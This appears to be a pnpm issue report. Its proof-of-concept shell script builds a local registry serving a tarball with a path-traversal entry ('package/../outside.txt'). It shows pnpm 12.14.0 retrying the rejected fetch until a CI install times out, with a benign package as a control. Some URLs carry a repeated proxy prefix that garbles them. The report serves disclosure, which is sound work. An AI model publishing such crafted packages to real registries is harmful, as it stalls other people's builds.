pnpm 12.14.0 retries a rejected tar-entry fetch for one minute, stalling CI installs #17205

#!/bin/bash
set -eu
W="${WORKDIR:-$(mktemp -d /tmp/pnpm-poc.XXXXXX)}"
trap 'rm -rf "$W"' EXIT INT TERM
mkdir -p "$W/registry" "$W/proj"
python3 - "$W" <<'PY2'
import sys, os, tarfile, io, json, hashlib, base64
w=sys.argv[1]
def mk(path, name, extra=None):
    with tarfile.open(path,'w:gz',format=tarfile.PAX_FORMAT) as tf:
        def add(n,d,m=0o644):
            ti=tarfile.TarInfo(n); ti.size=len(d); ti.mode=m; tf.addfile(ti,io.BytesIO(d))
        add('package/package.json', json.dumps({'name':name,'version':'1.0.0','main':'index.js'}).encode())
        add('package/index.js', b'module.exports=1;\n')
        if extra:
            add(extra[0], extra[1])
mk(os.path.join(w,'registry','pm-evil-1.0.0.tgz'),'pm-evil',('package/../outside.txt',b'OUTSIDE\n'))
mk(os.path.join(w,'registry','pm-good-1.0.0.tgz'),'pm-good')
def meta(name):
    p=os.path.join(w,'registry',name+'-1.0.0.tgz'); d=open(p,'rb').read()
    return {'_id':name,'name':name,'dist-tags':{'latest':'1.0.0'},'versions':{'1.0.0':{'name':name,'version':'1.0.0','main':'index.js','dist':{'tarball':'http://127.0.0.1:4874/'+name+'-1.0.0.tgz','shasum':hashlib.sha1(d).hexdigest(),'integrity':'sha512-'+base64.b64encode(hashlib.sha512(d).digest()).decode()}}}}
open(os.path.join(w,'registry','pm-evil'),'w').write(json.dumps(meta('pm-evil')))
open(os.path.join(w,'registry','pm-good'),'w').write(json.dumps(meta('pm-good')))
PY2
python3 -m http.server 4874 --bind 127.0.0.1 --directory "$W/registry" >/tmp/pnpm-poc-reg.log 2>&1 & REG=$!
trap 'kill $REG 2>/dev/null || true; rm -rf "$W"' EXIT INT TERM
sleep 1
curl -fsSL --max-time 120 https://registry.npmjs.org/@pnpm/exe.linux-x64/-/exe.linux-x64-12.14.0.tgz -o "$W/pnpm.tgz"
tar -xzf "$W/pnpm.tgz" -C "$W"
PNPM="$W/package/pnpm"; chmod +x "$PNPM"
cd "$W/proj"; printf '{"name":"p","version":"1.0.0"}\n' > package.json
echo "PNPM_VERSION=$($PNPM --version)"
echo "=== malicious install ==="
timeout 90 "$PNPM" add pm-evil --registry http://127.0.0.1:4874/ --ignore-scripts > /tmp/pnpm-poc-evil.log 2>&1 || echo "timeout-or-error=$?"
grep -E 'tar entry path rejected|Will retry' /tmp/pnpm-poc-evil.log | tail -6 || true
echo "=== benign control ==="
timeout 60 "$PNPM" add pm-good --registry http://127.0.0.1:4874/ --ignore-scripts > /tmp/pnpm-poc-good.log 2>&1
tail -4 /tmp/pnpm-poc-good.log
echo "IMPACT: the malicious tarball caused 10s and 1m retries and the install timed out at 90s"
echo "CONTROL: the benign tarball installed in milliseconds"

chmod +x poc.sh
./poc.sh